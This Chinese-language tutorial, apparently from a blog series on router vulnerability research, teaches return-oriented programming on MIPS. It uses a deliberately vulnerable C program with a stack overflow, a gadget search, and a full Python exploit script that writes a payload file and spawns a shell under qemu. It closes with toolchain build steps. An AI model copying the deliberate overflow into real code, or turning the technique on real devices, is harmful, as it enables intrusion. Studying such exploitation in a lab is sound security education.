在路由器漏洞利用的场景中,一般使用两种常用的利用方法,一种是上次分享中使用的System/Exec方式,一种就是本节中我们要分享的ROP Chain方式。
ROP(Returen-Oriented Programming)是把原来已经存在的代码块拼接起来,拼接时使用一个预先准备好的、包含各条指令结束后下一条指令地址的特殊返回栈。一般的程序里都包含着大量的返回指令,如“jr $ra”,他们大都位于函数的尾部。从某个地址到“jr $ra“指令之间的二进制序列称为”gadget“:
我们可以通过将内存中的各个gadget以某种顺序拼接执行来实现任意操作。
为了将各个gadget拼接起来,我们需要构造一个特殊的返回栈。首先,通过缓冲区溢出使程序执行流程跳转到gadget A,执行完gadget A中的代码序列后,通过位于gadget A尾部的jr $ra回到我们构造的栈帧中,然后再跳转到gadget B,再然后跳转到gadget C…,只要栈足够大,就能达到我们想要的效果:
接下来,我们将使用上次分享中所编写的C代码(稍加修改),完成这次的ROP实践,
源码vuln_system.c:
#include
#include
#include
#include
void do_system(int code, char *cmd) {
char buf[255];
system(cmd);
}
void A(char *content) {
char buf[32];
memcpy(buf, content, 255);
printf("buf: %s\n", buf);
if(0 == strcmp(buf, "adminpwd")) {
do_system(0, "ls /");
}
}
void main(int argc, char **argv) {
char buf[1024] = {0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if (0 == stat("passwd", &fileData)) {
fileLen = fileData.st_size;
} else {
return 1;
}
if ( (fp = fopen("passwd", "rb")) == NULL) {
printf("Cannot open file passwd!\n");
exit(1);
}
ch = fgetc(fp);
while( count <=fileLen ) {
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
A(buf);
}
为了避免strcpy函数导致坏字符截断,这里我们将strcpy函数替换为了memcpy。
在这个漏洞程序中有一个函数do_system,在代码中,这个do_system函数只能执行“ls -l”命令,但,我们可以构造一条ROP Chain,通过溢出漏洞调用do_system函数,让do_system函数能够执行任意命令。
要想构造该ROP Chain,首先要构造do_system函数的参数,将两个参数分别装入寄存器 a 0 和 a0和 a0和a1,这里我们只需要控制$a1即可,因为在do_system函数中并没有使用a0,而a1就是命令字符串的地址。
首先,我们使用第七篇分享中使用的ROP Finder插件来搜索合适的ROP Chain:
Python>mipsrop.stackfinders()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00401680 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets
查看这段gadget汇编代码的完整内容:
.text:00401680 addiu $a1, $sp, 0x58+var_40
.text:00401684 lw $ra, 0x58+var_4($sp)
.text:00401688 sltiu $v0, 1
.text:0040168C jr $ra
.text:00401690 addiu $sp, 0x58
从代码中可以看出,只要在 s p + 0 x 58 − 0 x 40 中 精 心 构 造 一 个 命 令 字 符 串 ( 如 : s h ) , sp + 0x58 -0x40中精心构造一个命令字符串(如:sh), sp+0x58−0x40中精心构造一个命令字符串(如:sh),a1便可以指向这个命令行字符串。然后在$sp+0x58-0x4地址处溢出为do_system函数的地址,这样在jr $ra返回时,就能将程序的执行流程劫持到do_system,进而我们就通过ROP Chain的方式完成了sh命令的执行。
根据上面的分析过程,我么可以整理出ROP Chain,如图:
由上次的分享,我们可以知道,在buf变量的0x24偏移处写入的四个字节地址就是溢出的位置,我们在这里将其填充为0x00401680,也就是我们使用mipsrop.stackfinders()函数搜到的ROP Gadget。
在A函数返回时,会将 S P 寄 存 器 的 值 重 新 赋 值 : SP寄存器的值重新赋值: SP寄存器的值重新赋值:sp = $sp +0x40。
接着,我们需要在这个新的sp所指向的位置基础上,计算出 s p + 0 x 58 − 0 x 40 和 sp+0x58 -0x40和 sp+0x58−0x40和sp+0x58 -0x4两个位置,并在其中填充命令字符串(sh)和do_system函数的地址(0x00400390)。
最后需要在这些精心构造的地址之间插入一些填充数据(“AAAA”或“BBB”)。
根据我们的分析结果,将按照图中的偏移位置生成利用脚本,并通过利用脚本生成passwd文件(exploit.py):
#!/usr/bin/python
import struct
print '[*] prepare shellcode',
cmd = "sh"
cmd += "\x00" * (4-(len(cmd)%4)) # align by 4 bytes
#shellcode
shellcode = "A" *0x24
shellcode += struct.pack(">L", 0x00401680)
shellcode += "A"*0x18
shellcode += cmd
shellcode += "B" * (0x3C-len(cmd))
shellcode += struct.pack(">L", 0x00400390)
shellcode += "BBBB"
print ' ok!'
print '[+] create passwd file',
fw = open('passwd', 'w')
fw.write(shellcode)
fw.close()
print ' ok!'
接下来执行这个脚本生成passwd文件:
test@ubuntu:~/Desktop$ python exploit.py
[*] prepare shellcode ok!
[+] create passwd file ok!
test@ubuntu:~/Desktop$
接下来,我们使用qemu-mips执行上面C程序编译后的程序:
test@ubuntu:~/Desktop$ ./qemu-mips-static ./vuln_system
$
$ id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
由此可见,我们通过ROP方式对这个栈溢出漏洞的利用已经成功了,我们通过精心构造的passwd文件,使vuln_system程序可以执行任意命令。
注意,我们这里对vuln_system.c程序进行编译时使用是我们用buildroot自己构建的编译器,使用其它编译器可能会存在一些难以调试的问题,所以这里,我也给出了制作这个编译器的步骤:
$ sudo apt-get install axel
$ axel -n 4 http://buildroot.net/downloads/buildroot-2014.05-rc1.tar.gz
$ tar -xzvf buildroot-2014.05-rc1.tar.gz
$ cd buildroot-2014.05-rc1
$ sudo apt-get install libncurse5-dev patch
$ make clean
$ make menuconfig
在make menuconfig时,会弹出配置菜单,需要将Target Architecture改为MIPS big endian, Target Architecture Variant改为mips 32,Toolchain中将Kernel Headers改为3.2.x。
保存配置后,使用make命令进行编译:
$ make
编译完成后,需要将编译器所在的目录配置到Path环境变量中,这样我们就能在需要的时候在任意目录使用我们编译的mips-linux-gcc了:
export PATH=$PATH:/home/test/Desktop/buildroot-2014.05-rc1/output/host/usr/bin
至此,我们的《揭秘家用路由器0day漏洞挖掘技术》上半部分就全部学习完了,希望这二十篇分享能够真的为你带来帮助(特别是最后两篇)。